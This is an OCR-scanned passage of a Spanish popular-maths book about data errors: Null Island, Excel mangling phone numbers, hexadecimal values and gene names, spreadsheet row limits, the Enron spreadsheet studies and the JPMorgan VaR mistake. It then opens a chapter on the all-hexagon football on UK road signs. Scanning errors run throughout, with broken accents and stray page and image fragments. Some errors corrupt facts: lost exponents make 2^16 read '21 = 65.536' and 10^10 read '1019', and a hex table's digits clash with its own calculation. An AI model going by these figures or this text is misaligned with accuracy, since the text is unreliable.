alla de las bases de datos, la isla Null no existe. Realmente hace honor a su
eslogan: «jUn lugar tnico en la Tierra!».

Un mal dato es el azote de las bases de datos, especialmente cuando el
dato ha sido escrito originalmente por humanos falibles con su imprecisa
escritura a mano. Afiadamos a esto la ambigiiedad de los nombres de algunos
lugares (por ejemplo, tengo un despacho en Borough Road, y existen cuarenta

Pagina 58



y dos Borough Roads solo en Gran Bretafia, sin mencionar dos Borough Road
Easts), y tendremos todos los ingredientes para que se produzca un desastre.
Siempre que un ordenador no puede descifrar una ubicacion, tiene que dar un
valor a ese campo, y, por eso, 0,0 se convirtié en la ubicacion por defecto. La
isla en la que los datos malos van a morir.

Excepto que los cartografos se tomaron esto muy en serio. La cartografia
era una disciplina bastante anticuada y rancia hasta que se vio influida por la
revolucién tecnolégica moderna. Hoy en dia, tiene publico por su peculiar
sentido del humor. Durante generaciones, los cartografos han estado
afiadiendo a escondidas lugares ficticios en mapas reales (a menudo como una
forma de destapar a personas que plagian su trabajo), y era inevitable que la
isla Null cobrara vida por si misma. Por lo que la pusieron literalmente en el
mapal3l. Si nos creemos su material promocional, la isla Null posee una
poblacion préspera, una bandera, un departamento de turismo y es el lugar del
mundo con mas Segways per capita.

Incluso cuando los datos ya han sido incluidos en una base de datos, no
estan a salvo... lo que nos lleva, finalmente, a Microsoft Excel. Mi opinion
sobre Excel es de dominio publico: soy un gran admirador. Es una forma
fantastica de poder hacer un mont6n de calculos al mismo tiempo y, por regla
general, es el primer lugar al que acudo cuando necesito hacer una gran
cantidad de calculos aritméticos. Pero hay una cosa que Excel no es: una base
de datos. Aunque con mucha frecuencia se utiliza con ese fin.

Hay algo seductor en las filas de una hoja de calculo, claras y faciles de
identificar, que invita a las personas a usarlas para almacenar datos. Soy tan
culpable como cualquiera: una gran parte de mis proyectos pequefios en los
que hay algin dato los guardo en hojas de calculo. Es muy facil.
Superficialmente, Excel es un gran sistema de gestién de datos. Pero hay
muchas cosas que pueden salir mal.

Para empezar, el hecho de que alguien camine como un nimero y grazne
como un nimero no significa que sea un nimero. Algunas cosas que parecen
nimeros no lo son. Los nimeros de teléfono son un ejemplo perfecto: a pesar
de estar formados por digitos, en realidad no son nimeros. ;Cuando ha
podido sumar dos ntimeros de teléfono? ;O cuando ha buscado los factores
primos de un nimero de teléfono? (El mio tiene ocho, cuatro distintos.) La
regla general deberia ser: si no va a hacer ninguna operacién matematica con
él, no lo almacene como numero.

En algunos paises, los nimeros de teléfono empiezan por 0. Por defecto,
los nimeros normales no tienen como primer digito un cero. Abra una hoja de
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calculo y escriba «097» y pulse intro. El cero desaparecera inmediatamente.
Este es un ejemplo bastante personal, porque hace varios afios tenia una
tarjeta de crédito en la que los tres digitos de seguridad escritos en el dorso
eran 097 (las palabras importantes en esta frase son «hace varios afios»; no
me van a pillar por ahi). En muchas paginas web eliminaban el primer cero
nada mas introducirlo y luego aparecia el mensaje de que los detalles de mi
tarjeta no encajaban.

Es aun peor con los nimeros de teléfono. Si introduce el nimero de
teléfono 0141 404 2559, no solo desaparece el cero inicial, sino que
1.414.042.559 es un numero realmente grande, bastante por encima de un
millardo. Por lo que, si lo introduce en Excel, cambiara el nimero a una
forma diferente de escribir los numeros: la notacion cientifica. Acabo de
pegar ese numero en una hoja de calculo y ahora aparece como 1,414E+9. Si
hacemos mas ancha la columna apareceran los digitos ocultos. Pero si
hacemos eso con un numero mas largo, esos digitos se podrian perder para
siempre.

La notacion cientifica reduce el tamafio del ntimero al no incluir todos los
digitos especificos. Por regla general, el tamafio de un nimero es indicativo
de cuantos digitos tiene (antes de la coma decimal), pero cuando no
conocemos todos los digitos, o estos simplemente no son importantes,
entonces el nimero acaba casi siempre con varios ceros. En el lenguaje
habitual, ya solemos eliminar los digitos de un niumero grande. Por ejemplo:
en la actualidad, el universo tiene una antigiiedad de 13,8 mil millones de
afios. Los digitos importantes son 13,8 y «miles de millones» nos indica lo
grande que es el numero. Es mucho mejor que escribir 13.800.000.000 y
depender de los ceros para expresar el tamafio de la cifra.

La notacion cientifica va un paso mas alla. En el lenguaje convencional,
nos gusta redondear los millones y los millardos (o miles de millones), pero,
en ciencia, el punto decimal pasa al frente y se especifica el nimero de
digitos. Por lo que la edad del universo es 1,38E+10. Esa E es realmente una
forma perezosa de escribir un exponencial: el universo tiene una antigiiedad
de 1,38 x 1019 afios. Para las medidas muy pequefias, se utiliza un nimero
negativo para expresar el tamafio. Un proton posee una masa de 1,67E-27 kg.
Eso es mucho mas claro que escribir
0,00000000 000000000000000000167kg.

Pero todos los digitos de un nimero de teléfono son importantes. Seria
mucho mas feliz si los llamasemos «digitos telefénicos» en lugar de
«numeros telefénicos», porque, repito, no pienso que sean numeros. Si alguna
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vez no esta seguro de si algo es un niumero o no, mi prueba es imaginarme
preguntandole a alguien cual es la mitad de esa cosa. Si le pregunta a alguien
cual es la mitad de estatura de una persona que mide 180 centimetros, le
respondera que 90 centimetros. La altura es un numero. Preguntele a alguien
cual es la mitad de su nimero de teléfono, y le dara la primera mitad de los
digitos. Si la respuesta no es dividirlo, sino cortarlo, no es un ntimero.

Ademas de convertir cosas que no son nimeros en nimeros, a veces Excel
coge cosas que son numeros y las convierte en texto. Esto sucede
principalmente con numeros no habituales que van mas alla de nuestro
sistema de numeracién de base 10. Sistemas como el binario usan un niimero
reducido de digitos; el usado por los ordenadores, con base 2, solo necesita el
0 y el 1. Un sistema numérico necesita tantos digitos como muestra su base,
razon por la que la base 10 tiene 10 digitos: de 0 a 9. Pero una vez que
pasamos de la base 10, no hay mas digitos «tradicionales», por lo que hay que
utilizar letras.

BASE 10
VALOR DE POSICION: 10.000s 1.000s 100s 10s 1s
DIGITO: 1 9 5 2 9

BASE 16

VALOR DE POSICION: 4.096s 256s 16s 1s
DIGITO: 4 C 4 9

Una rdpida revision confirma que: 4 x 4.096 + C (es decir «12») x 256 + 4 x 16 + 7 x 1 = 19.527

Si convertimos el nimero 19.527 de base 10 a base 16, tendremos 4C47.
En este caso, la C no es una letra, a pesar de que sigue pareciéndolo: es un
digito. Concretamente, es el digito que representa un valor de doce. Al igual
que 7 representa un valor de, bueno, siete. Cuando se quedaron sin digitos, los
matematicos se dieron cuenta de que las letras eran una fuente perfecta que
aportaba mas simbolos y ya tenian un orden establecido y aceptado. Por lo
que las reclutaron al servicio de los nuimeros, causando confusién a todos los
demas. Incluido a Excel. Si intenta utilizar letras como digitos en Excel, este
supone razonablemente que esta tecleando una palabra, no un numero.
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El problema es que los numeros de base elevada no son solo el juguete de
los matematicos. Si los ordenadores estan obsesionados con los numeros
binarios, su siguiente amor son los numeros de base 16. Es realmente facil
convertir nimeros binarios a numeros hexadecimales de base 16, que es la
razon por la que los hexadecimales se utilizan para que los binarios
informaticos sean un poco mas manejables; el hexadecimal 4C47 representa
el numero binario completo 0100110001000111, pero es mucho mas facil de
leer. Puede entender los hexadecimales como binarios disfrazados. Paginas
atras, lo utilizamos en el ejemplo de la inyeccion de SQL, para esconder el
codigo informatico a plena vista.

El error es intentar almacenar datos informaticos que utilicen valores
hexadecimales en Excel, un error que he cometido como cualquier otra
persona. Tuve que almacenar valores hexadecimales en una hoja de calculo
de personas que habian microfinanciado colectivamente mis videos en
internet, y Excel los convirtio inmediatamente en texto. Eso me pasé por no
utilizar una base de datos de verdad, como haria una persona adulta.

Para ser justo: esa es la mitad de la historia. Excel posee una funcion
integrada que convierte entre base 10 y base 16 llamada DEC2HEX (si alguna
vez pongo en marcha una boy band, la llamaré Dec2Hex). Si introduce el
texto: DEC2HEX (19527), le devolvera 4C47, olvidando inmediatamente que
es un numero. Si quiere sumar numeros hexadecimales juntos en Excel, o
dividirlos, o realizar alguna operacién matematica, necesita convertirlos de
nuevo a base 10, realizar las operaciones en cuestion y volver a convertir el
resultado.

Si de verdad quiere hacer de empollén (jdemasiado tarde, ya lo estamos
haciendo!), hay un caso especifico en el que Excel se carga los hexadecimales
al tratarlos, ir6nicamente, como un numero. Pero es el tipo erroneo de
numero. Por ejemplo, el numero 489 en base 10 se convierte en 1E9 en
hexadecimal, pero cuando introducimos 1E9 en Excel, entiende la letra E
entre dos numeros y se da cuenta de que ya ha visto eso. iEs la notacién
cientifica! De repente, su 1E9 ha sido sustituido por 1,00E+09. De 489 a mil
millones en un abrir y cerrar de... un cambio de formato.

El mismo problema aparece en todos los casos con «numeros
hexadecimales que no contienen digitos alfanuméricos mas que una tnica “e”,
donde la “e” no es ni el primer ni el tltimo digito». Esa es la definicién del
problema tal como aparece en la Enciclopedia en linea de Secuencias I
Enciclopedia Online de Secuencias de Numeros Enteros, la cual lista los
primeros 99.999 casosl4l. Spoiler: el 100.000° es 3.019.017.
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Esto no se limita unicamente a empollones como nosotros que utilizan
hexadecimales. Hablé extraoficialmente con un consultor de bases de datos
que estaba trabajando con una compafiia en Italia. Tenian un mont6n de
clientes y su base de datos generaba un ID de cliente para cada uno de ellos
utilizando algo como el afio en curso, la primera letra del nombre de la
compafiia del cliente y luego un nimero correlativo para asegurarse de que el
ID era unico. Por alguna razon, su base de datos estaba perdiendo clientes
cuyos nombres empezaban por E. Era porque estaba utilizando Excel y estaba
convirtiendo esos ID de cliente en un numero en notacion cientifica, por lo
que ya no lo reconocia como un ID.

En el momento de escribir esto, no existe forma alguna de desactivar la
notacion cientifica por defecto de Excel. Algunos dirian que es un cambio
sencillo que solucionaria algunos problemas importantes de las bases de datos
para mucha gente. Mas personas, incluso, dirian que, siendo realistas, no es
culpa de Excel, ya que, en primer lugar, no deberia utilizarse como base de
datos. Pero si somos realistas reconoceremos que lo utilizamos como tal. Y
puede causar problemas con funciones mucho mas prosaicas que la notacion
cientifica. La correccién ortografica deja mucho que desear.

Autocorreccion de genes

No soy biologo, pero con solo buscar un poquito en internet me he
convencido de que mi cuerpo necesita la enzima «E3 ubiquitina ligasa
MARCH5». Cuando leo textos de biologia pienso en como se deben sentir
otras personas cuando leen algo de matematicas: una cadena de palabras y
simbolos que parecen lenguaje ordinario, aunque no transmiten ninguna
nueva informacién a mi cerebro a medida que lo va analizando
sintacticamente. Si me resisto a la necesidad de procesar el contenido real y
solo me centro en la sintaxis general, puedo captar la esencia de lo que el
autor esta intentando decir.

En conjunto, nuestros datos indican que la falta de MARCHS5 produce una elongacién

mitocondrial, la cual fomenta la senescencia celular al bloquear la actividad de Drpl y/o
fomentar la acumulacién de Mfn1 en la mitocondria.

Extraido de la publicacion de investigaciéon de 2010

Journal of Cell Science.

Traducido a un lenguaje mas asequible: necesitamos esa cosa.

Afortunadamente, en el décimo cromosoma humano esta el gen que
codifica la producciéon de esta enzima. El gen tiene el nombre pegadizo de
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MARCHS5, y si piensa que se parece mucho a una fecha, entonces ya se puede
imaginar hacia dénde va esto. En nuestro primer cromosoma, el gen SEP15
esta ocupado fabricando otra proteina importante. Teclee esos nombres en
Excel y los trasformara en Mar-05 y Sep-15. Codificada como 01/03/2005 y
01/09/2015 (si hurga en los datos de Excel en una version de Reino Unido),
toda mencién de MARCHS5 y SEP15 ha sido borrada.

¢Los biblogos utilizan el Excel para procesar sus datos? j;Tiene el
fosfoglicano un extremo C-terminal?! ;Si! (Bueno, creo que si. Era eso o
«j¢Dénde se ocultan los genes BPIFB1?!», pero tampoco estaba seguro de
ese. He sobrepasado el limite de mis conocimientos de biologia intentando
buscar incluso temas de microbiologia.) A ver, la respuesta es si. Los bidlogos
celulares utilizan mucho el Excel.

En 2016, tres intrépidos investigadores de Melbourne analizaron
dieciocho revistas que habian publicado articulos relacionados con Ila
investigacion del genoma entre 2005 y 2015 y encontraron un total de 35.175
ficheros Excel disponibles publicamente asociados con 3.597 diferentes
articulos de investigacion. Escribieron un programa para descargar
automaticamente los ficheros Excel, luego buscaron listas de nombres de
genes, vigilando lo casos en los que el Excel habla «corregido
automaticamente» los nombres transformandolos en otra cosa.

Después de comprobar los archivos problematicos manualmente para
eliminar los falsos positivos, los investigadores se quedaron con 987 hojas de
calculo de Excel (de 704 diferentes articulos de investigacién) que contenian
errores en los nombres de los genes introducidos por el Excel. En su muestra,
encontraron que el 19,6% de la informacion de los genes recopilada en Excel
contenia errores. No estoy del todo seguro del impacto exacto de la
desaparicion de nombres de genes de su base de datos, pero creo que
podemos suponer con seguridad de que no es algo bueno.

Para resolver estos problemas primero hay que averiguar con qué tipo de
datos estamos tratando. Por ejemplo, 22/12 podria ser un nimero (22 + 12 =
1,833...), un dato (22 de diciembre) o un trozo de texto (solo los caracteres
22/12). Por lo que una base de datos tiene que almacenar, ademas de los
datos, también metadatos, es decir, datos sobre los datos. Cada entrada,
ademas de tener un valor, también esta definida como un tipo de dato. Que es
la razon por la que puedo decir, de nuevo, que los numeros de teléfono no
deberian almacenarse como nimeros.

En Excel, se pueden hacer distinciones parecidas, pero estan muy lejos de
ser intuitivas y de que sea facil trabajar con ellas. La configuracion
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predeterminada de una nueva hoja de calculo no es adecuada cuando se trata
de investigacion cientifica. Cuando apareci6 la investigacién sobre la
autocorreccion de genes, a Microsoft le preguntaron su opinion y un portavoz
dijo: «Excel es capaz de mostrar datos y texto de muchas maneras diferentes.
Las configuraciones predeterminadas estan pensadas para que funcionen en la
mayoria de los escenarios cotidianos».

Una gran cita. Viene con la idea implicita de que «la informacién genética
no es un escenario cotidiano». (Como si fuera una exasperada enfermera
explicando a alguien a quien le faltan varios dedos que abrir una botella de
cerveza no es un escenario cotidiano en el que utilizar un hacha.) Me gusta
imaginar que el portavoz de Microsoft pronuncia su respuesta en una
conferencia de prensa mientras alguien entre bambalinas tiene que contener al
equipo de Microsoft Access, que si que es un sistema de gestién de bases de
datos de verdad. Se pueden oir a través de las paredes unos llantos apagados
que dicen: «Diles que utilicen una base de datos de verdad, COMO
ADULTOS».

El final de la hoja de calculo

Otra limitacion de las hojas de calculo como bases de datos es que tienen un
final. De manera similar a lo que les ocurre a los ordenadores que tienen
problemas para hacer un seguimiento del tiempo con un sistema de numeros
binarios de 32 digitos, Excel tiene problemas a la hora de llevar un registro de
cuantas filas hay en una hoja de calculo.

En 2010, WikiLeaks present6 al Guardian y a The New York Times
92.000 informes de campo filtrados de la guerra de Afganistan. Julian
Assange los entregd en persona en las oficinas del Guardian en Londres. Los
periodistas confirmaron rdpidamente que parecian ser reales, pero, para su
sorpresa, los informes acababan abruptamente en abril de 2009, cuando
deberian haber cubierto hasta el final de ese afio.

Lo ha adivinado: Excel cont6 sus filas como un ntimero de 16 bits, por lo
que existia un maximo de 21 = 65.536 filas disponibles. Asi que, cuando los
periodistas abrieron los archivos en Excel, todos los datos después de las
primeras 65.536 entradas desaparecieron. Bill Keller, periodista de The New
York Times, describio la reunion secreta en la que se descubrio este hecho y
como «Assange, poniéndose tranquilamente en el papel de friki de la oficina,
explico que habian alcanzado los limites de Excel».

Desde entonces, Excel se ha ampliado hasta un maximo de 220 =
1.048.576 filas. jPero eso sigue siendo un limite! Si entra en una tabla de
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Excel y desliza el cursor hacia abajo puede tener la sensacion de que seguira
asi para siempre, pero, si lo hace durante el tiempo suficiente, llegara
finalmente al final de la hoja de calculo. Si quiere llegar hasta el vacio que
hay después de las filas, puedo afirmar que se tarda unos diez minutos
desplazando el cursor a la maxima velocidad.

1043 1048569
1045 1048570
1048 ] 10485 71
F 1048572

| {1 B i 10485 74
1048574

1048575 1M485 75

10485 76

B el
daral Vi taasdy

Contemple el espacio vacio que hay mds alld del final del mundo Excel.

Cuando la hoja de calculo se hace publica

En general, hacer cualquier clase de trabajo que sea importante en una hoja de
calculo no es una buena idea. Son el entorno ideal para que se produzcan
errores y crezcan descontroladamente. El European Spreadsheet Risks Interest
Group (si, es una organizacion real que se dedica a examinar esos momentos
en los que las hojas de calculo fallan) calcula que mas del 90% de todas las
hojas de calculo contiene errores. Alrededor del 24% de las hojas de calculo
que utilizan féormulas contiene un error matematico en sus calculos.

Son capaces de llegar a ese porcentaje tan curiosamente especifico
porque, de forma ocasional, todas las hojas de céalculo de una compafiia se
pueden consultar. La doctora Felienne Hermans es una profesora asistente en
la Universidad Tecnoldgica de Delft, donde dirige su laboratorio de Hojas de
Calculo. Me encanta la idea de que exista un laboratorio de hojas de calculo:
columnas en lugar de colimadores, sentencias If en lugar de incubadoras. La
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doctora Hermans fue capaz de analizar uno de los corpus mas grandes de
hojas de calculo del mundo real que jamas se haya podido conseguir.

Después del escandalo Enron de 2001, la Comision Federal Reguladora de
Energia publicé los resultados de su investigacion sobre la corporacion y las
pruebas que tenian, que incluian alrededor de 0,5 millones de correos
electronicos internos de la empresa. Existia cierta preocupacion por publicar
correos electronicos de empleados que no tenian nada que ver con el
escandalo, por lo que la versién expurgada que actualmente esta disponible en
linea ha tenido en cuenta las preocupaciones de los empleados. Proporciona
una vision fantastica sobre cémo se utiliza el correo electrénico en el interior
de una empresa tan grande. Y, por supuesto, se enviaban un monton de hojas
de calculos como archivos adjuntos.

Hermans y sus colegas revisaron el archivo que contenia los correos
electronicos y fueron capaces de reunir un conjunto de 15.770 hojas de
calculo y 68.979 correos electronicos relacionados con esas hojas de calculo.
Hay algo de sesgo en la seleccion porque esas hojas de calculo procedian de
una empresa que estaba siendo investigada por deficiencias en sus informes
financieros, lo cual es vergonzoso. Pero seguia constituyendo un ejemplo
increible sobre como se utilizan las hojas de calculo en el mundo real, al igual
que sobre la forma en la que esos correos electronicos que contienen esas
hojas de calculo se trataban, pasaban de una persona a otra y se actualizaban.
Esto es lo que descubrio Hermans:

e La hoja de calculo promedio tenia un tamafio de 113,4 kilobytes.

e La hoja de calculo mas grande ocupaba unos impresionantes 41
megabytes. (Supongo que debia de ser una invitacion de cumpleafios
con archivos de sonido y gifs animados incrustados. Me estremezco
solo con pensarlo.)

e Por término medio, cada hoja de calculo contenia 5,1 hojas de trabajo.

e ;Una hoja de calculo contenia 175 hojas de trabajo! Incluso yo creo
que es demasiado y que necesitarian SQL.

e Las hojas de calculo tenian un promedio de 6.191 celdas ocupadas, de
las cuales 1.286 eran formulas (por lo que el 20,8% de las celdas se
utilizaban para formulas con las que realizar un céalculo o para mover
datos).

e 6.650 hojas de célculo (el 42,2%) no contenian ninguna férmula.
iAnda ya! ;Entonces para qué utilizar una hoja de calculo?

La cosa se pone interesante cuando investigamos por qué estas hojas de
calculo fallaron. Las 6.650 hojas de calculo sin férmulas se utilizaban
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basicamente como simples documentos de texto en los que se listaban
nuameros, asi que las ignoraré. Solo me interesan las hojas de calculo en las
que se utilizan matematicas que puedan salir mal. Por lo que nos quedan
9.120 hojas de calculo que contienen 20.277.835 formulas.

Excel posee una buena capa de prevencion de errores cuando alguien
teclea una formula: comprueba que toda la sintaxis sea correcta. En la
programacion informatica habitual, puedes dejarte un corchete sin cerrar en
cualquier parte u olvidarte colocar una coma. Lo que provoca que jures en
hebreo en voz alta a las tres de la madrugada («;Qué diablos hace esto
aqui?»), o eso es lo que me han contado. Excel al menos realiza una
verificacion rapida para ver que toda la puntuacion es correcta.

Pero Excel no puede asegurar que el usuario utilice las funciones
adecuadas o sefiale las celdas correctas en las que incluir los datos apropiados
a los que aplicara las férmulas. En esos casos, ejecuta el comando y muestra
un mensaje de error solo si las matematicas estan totalmente equivocadas.
#NUM! significa que se ha introducido una forma errénea de dato numérico;
#NULL! significa que el rango de los datos introducidos no esta
correctamente definido. Y luego esta mi favorito, #DIV/0!, que aparece ante
cualquier intento de dividir por cero.

Hermans descubrio que 2.205 hojas de calculo tenian uno o mas mensajes
de error de Excel. Lo que significa que alrededor del 24% de todas las hojas
de calculo que contenian férmulas contenian un error. Y esos errores tenian
compaiiia: las hojas de calculo susceptibles de contener errores tenian una
media de 585,5 errores cada unal®l. Nada menos que 755 hojas de calculo
tenian mas de cien errores, y la que quedo en primer lugar en esa clasificacion
totalizd 83.273 errores. Llegados a este punto, estoy realmente impresionado.
Yo no podria cometer todos esos errores sin una hoja de calculo aparte en la
que irlos registrando.

Pero este es solo un subconjunto de errores de las hojas de calculo: los
obvios. Muchos otros errores que se cometen con las férmulas no son
contabilizados. Sin un profundo conocimiento de qué es lo que el usuario
estaba intentando hacer en primer lugar, no existe un modo sencillo de revisar
las hojas de célculo y asegurarse de que todas las férmulas estdn donde
deberian estar. Puede que este sea su mayor problema. Es facil seleccionar
por error la columna equivocada y, de repente, el dato procede del afio
equivocado o es bruto en lugar de neto (jun dato bruto, nunca mejor dicho!).

Esto puede acarrear problemas de verdad. En 2012, la Oficina de
Educacion del Estado de Utah calcul6 erroneamente su presupuesto por valor
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de 25 millones de ddlares por algo que el superintendente del estado, Larry
Shumway, llamo «referencia erréonea» en una hoja de calculo. En 2011, el
pueblo de West Baraboo, en Wisconsin, calcul6 erréneamente cuanto costaria
su préstamo por 400.000 doélares porque en un rango se habian olvidado de
una celda importante.

Esos son solo los errores sencillos que se descubrieron. No es
coincidencia que ambos correspondan a entidades publicas de Estados
Unidos; tienen una responsabilidad con el publico y no pueden ocultar
grandes errores debajo de la alfombra. Solo Dios sabe cuantos errores
menores hay en las complejas redes de formulas que existen en las hojas de
calculo de las empresas. Una hoja de calculo de Enron tenia una cadena de
1.205 celdas cuyos datos provenian directamente de la celda contigua (con
una red mas amplia de 2.401 celdas que recogian los datos de ellas
indirectamente). Un error en la celda mas débil y todo el entramado se
desmorona.

Asi hasta que llegamos al «control de versiones», que significa asegurarse
de que todos saben cual es la version mas actualizada de la hoja de calculo.
De los 68.979 correos electronicos de Enron sobre hojas de calculo, 14.084
eran sobre qué version de una hoja de calculo estaba utilizando la gente.
Pondré un ejemplo de eso funcionando mal en el mundo real. En 2011, el
condado de Kern, en California, se olvid6 de pedir a una compaiiia 12
millones de euros en impuestos porque utilizaban la version incorrecta de una
hoja de calculo, en la que faltaban 1.260 millones en bienes productores de
petroleo y gas.

Excel es muy bueno a la hora de hacer un montén de céalculos de forma
simultanea y analizando datos de tamafio medio. Pero cuando se utiliza para
realizar calculos grandes y complejos a lo largo de un rango amplio de datos,
es simplemente demasiado opaco respecto a la forma en la que realiza los
calculos. Los calculos para el rastreo de datos y la comprobacion de errores se
convierten en una tarea larga y tediosa en una hoja de calculo. Se puede decir
que casi todos mis ejemplos son el resultado de haber obviado un sistema mas
apropiado en favor de Excel, el cual es, afrontémoslo, barato y se puede
adquirir facilmente.

Una advertencia final de economia. En 2012 JPMorgan Chase perdi6é un
monton de dinero; es dificil hacerse una idea, pero el consenso general es que
fueron alrededor de 6.000 millones. Como suele ocurrir en el mundo de las
finanzas modernas, existen un mont6n de aspectos complicados sobre cémo
se hizo la negociacion y como se estructuro (nada de lo cual entiendo). Pero la
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cadena de errores incluia algun serio abuso de las hojas de calculo,
incluyendo el calculo de cuan grande era el riesgo y de como se registraban
las pérdidas. Un calculo de un Valor en Riesgo (VaR por sus siglas en inglés)
da a los operadores una idea de lo grande que es el riesgo y limita los tipos de
operaciones que son permitidas dentro de la politica de riesgos de la
compafiia. Pero cuando el riesgo es subestimado y el mercado empeora
seriamente, se puede perder una gran suma de dinero.

Resulta asombroso que un calculo especifico del Valor en Riesgo se
realizara en una serie de hojas de calculo de Excel en la que los valores
debian ser copiados entre ellas de manera manual. Me da la impresion de que
era un modelo para calcular el riesgo que se puso a disposicion para su uso sin
haberlo convertido en un sistema real para el calculo de modelos
matematicos. Y se acumularon suficientes errores en las hojas de calculo que
hicieron que se subestimara el VaR. Una sobrestimacion del riesgo habria
significado que se habria preservado mas dinero del que se puso a salvo, y
dado que estaria limitando las operaciones, habria provocado que alguien
investigara qué estaba sucediendo. Una subestimacion del VaR permitio
sigilosamente que la gente arriesgara mas y mas dinero.

Pero seguro que estas pérdidas llamaron la atencion de alguien. Los
operadores ponian «notas» a las posiciones de su portafolio para indicar lo
bien o mal que lo estaban haciendo. Dado que las sesgaban para minimizar
cualquier cosa que fuera mal, el Grupo de Control de Valoracién (VCG por
sus siglas en inglés) estaba para vigilar las notas y compararlas con el resto
del mercado. Excepto que lo hicieron con hojas de calculo que contenian
algunos errores metodologicos y matematicos graves. Fue tan mal que un
empleado empez6 su propia hoja de calculo paralela para intentar hacer un
seguimiento de los beneficios y pérdidas reales.

Finalmente, el Equipo de Tareas de Gestion de JPMorgan Chase & Co.
presentd un informe sobre todo este foll6n. Estas son mis frases favoritas
sobre lo que ocurrio:

Esta persona realiz6 inmediatamente ciertos ajustes a las férmulas de las hojas de célculo que
utilizaba. Estos cambios, que no estaban sujetos a un proceso de evaluacién riguroso,
introdujeron inadvertidamente dos errores de calculo, cuyo efecto fue la subestimacion de la
diferencia entre el precio medio VCG y las notas de los operadores (pag. 56).

Concretamente, después de restar la tasa antigua de la nueva, la hoja de calculo dividi6 por su
suma en lugar de por su media, tal como el programador pretendia. Este error seguramente
provoco que se redujera la volatilidad a la mitad y disminuyese el VaR (pag. 128).
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Me parece increible. Se perdieron miles de millones de délares en parte
porque alguien sumo6 dos nimeros en lugar de hacer la media. Una hoja de
calculo tiene un aspecto que hace que parezca que todos los calculos que se
han realizado son serios y rigurosos. Pero solo son tan fiables como las
férmulas que hay bajo su superficie.

Recopilar y trabajar con los datos puede ser mas complicado, y mas
costoso, de lo que la gente espera.
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Cuatro

MALA FORMA

La geometria de las pelotas de futbol en las sefiales viales de las calles de
Gran Bretafia es erronea. Puede que parezca algo intrascendente, pero me
molesta.

Si observa el disefio clasico de una pelota de futbol, comprobara que tiene
veinte hexagonos blancos y doce pentagonos negros. Pero en las placas de las
calles de Gran Bretafia que indican un campo de futbol, la pelota esta formada
unicamente por hexagonos. jNo hay pentagonos! Los pentagonos oscuros han
sido reemplazados por hexagonos. Quienquiera que lo haya disefiado no se ha
molestado en comprobar cémo es una pelota de ftitbol de verdad. Asi que
escribi al gobierno.

O, mas concretamente, inicié una peticion parlamentaria. Se trata de una
peticion oficial que requiere de un tramite, pero que te garantiza una respuesta
del gobierno si obtienes 10.000 firmas. Mi primera solicitud no tuvo éxito
porque el comité dijo, y cito sus palabras: «Creemos que lo mas seguro es que
usted esté bromeando». Tuve que responder para argumentar mi peticion: mi
queja sobre una geometria precisa era seria. Finalmente, el gobierno britanico
estuvo de acuerdo en que no se trataba de una broma y acepto la peticion.

Resulta que yo no era la unica persona a quien molestaba que el dibujo de
la pelota en las sefiales de trafico fuera incorrecto. La peticién aparecié en
diversos periodicos de tirada nacional y en cadenas de radio. Hasta entonces,
nunca habia aparecido en la seccion de deportes de las noticias de la BBC. Me
invitaron a diferentes programas deportivos en los que me pasé mucho tiempo
diciendo cosas como «un pentagono tiene cinco lados, pero si se fija en las
sefiales, todas las formas son hexagonos, con seis lados». Basicamente, estaba
argumentando que cinco es un numero diferente a seis. ;He mencionado que
tengo un puesto en la institucion académica Queen Mary University de
Londres como su enlace publico para la divulgacion de las matematicas?
Deben de estar orgullosos.
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Una pelota de fiitbol y, no sé, ;puede que una sefial de trdfico que indique la presencia de una
colmena?

Pero no le gusto a todo el mundo. A algunas personas les molestd que
estuviera pidiendo al gobierno que hiciera algo en lo que no creian
personalmente. Dejé muy claro que no queria cambiar las antiguas sefiales
(puedo entender que se podria considerar un mal uso de los fondos de los
contribuyentes). Solo queria que actualizaran el Instrumento Legislativo 2016
n.° 362, Lista 12, parte 15, simbolo 38 (jHice mis deberes! Ya les dije que iba
en serio) para que de aqui en adelante las siguientes sefiales fueran correctas.
Pero eso no fue suficiente para complacer a muchas personas.
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En mis entrevistas dejé muy claro que las pelotas incorrectas que
aparecian en las sefiales no eran el asunto mas apremiante al que se tenia que
enfrentar la sociedad. Pero solo porque también crea que debemos financiar
adecuadamente la sanidad publica, la educacion y muchas mas cosas no
significa que no pueda hacer campafia también por cosas triviales. La esencia
de mi protesta era que existe un sentimiento generalizado en la sociedad de
que las matematicas no son importantes, que no pasa nada por no ser bueno
en ellas. Pero una gran parte de nuestra economia y tecnologia requieren de la
participacion de personas que son buenas en matematicas.

Bl Peticiones

Gobierno y Parlamento del Reino Unido

Peticion
Actualizacion de la regulacion de las senales

de trafico del Reino Unido para que la pelota de
futbol sea geométricamente correcta

La pelota de futbol que aparece en las sefiales viales del Reino Unido
(indicando los campos de futbol) esta compuesta en su totalidad por
hexagonos. Pero es matematicamente imposible construir una pelota
utilizando solo hexagonos. Cambiarlo a una disposicion correcta de
hexagonos y pentagonos ayudaria a aumentar la concienciacion y la
apreciacion publica por la geometnia.

Firme esta peticion

Creo que el hecho de que el gobierno reconozca que existe una diferencia
entre un hexagono y un pentagono aumentaria la concienciacion publica del
valor que le deberiamos dar a las matematicas y a la educacion. jUn cinco no
es un seis!

Y para que conste, las sefiales son superincorrectas.

No era solo un dibujo de un tipo diferente de pelota: es que jamas podia
ser una pelota. Suena como un gran postulado: nunca podras construir una
pelota a base de hexagonos. Pero puedo afirmar con una completa seguridad
matematica que es imposible crear una pelota tunicamente a partir de
hexagonos, incluso si son hexagonos deformados. Es posible demostrar
matematicamente que la imagen que aparece en las sefiales viarias jamas
podria ser una pelota. Existe algo llamado caracteristica de Euler de una
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superficie y describe el patrén existente detras del modo en que diferentes
formas 2D se pueden reunir para crear una forma 3D. En pocas palabras, una
pelota tiene una caracteristica de Euler de dos y los hexagonos no pueden
crear una forma por si mismos que tenga una caracteristica de Euler de mas
de cero.

- -
s e
Jfos388 @ \

®

¢Quién se apunta a un partido con una pelotarosquilla geométricamente verosimil?

Existen diferentes formas que tienen una caracteristica de Euler de cero,
como los toros. Asi que, aunque no se puede crear una pelota a partir de
hexagonos, lo que si puede crear es una pelota-rosquilla. Los hexagonos
también funcionan para crear una superficie plana o un cilindro. Un amigo
mio (con mucha gracia) me compré un par de calcetines para jugar a ftitbol
porque tenian el clasico disefio a base de pelotitas formadas por hexagonos,
pero, dado que un calcetin (ignorando la puntera) es un cilindro, se puede
aceptar. Su gesto fue a la vez genial y cruel; los calcetines estaban al mismo
tiempo bien hechos y mal hechos. Nunca me he sentido tan incémodo
respecto a un par de calcetines de deporte desde las clases de educacion fisica
de noveno curso.
